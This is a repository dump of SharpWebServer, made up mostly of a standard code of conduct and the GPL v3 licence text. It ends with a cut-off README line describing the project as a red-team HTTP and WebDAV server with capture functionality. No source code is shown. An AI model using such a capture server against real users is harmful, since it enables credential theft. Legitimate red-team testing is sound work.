├── CODE_OF_CONDUCT.md ├── LICENSE ├── README.md ├── SharpWebServer.sln └── SharpWebServer ├── Program.cs ├── SharpWebServer.csproj └── app.config /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | Mariusz Banach (mgeeky, @mariuszbit, mb@binary-offensive.com). 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpWebServer 2 | 3 | A Red Team oriented simple **HTTP & WebDAV** server written in C# with functionality to capture 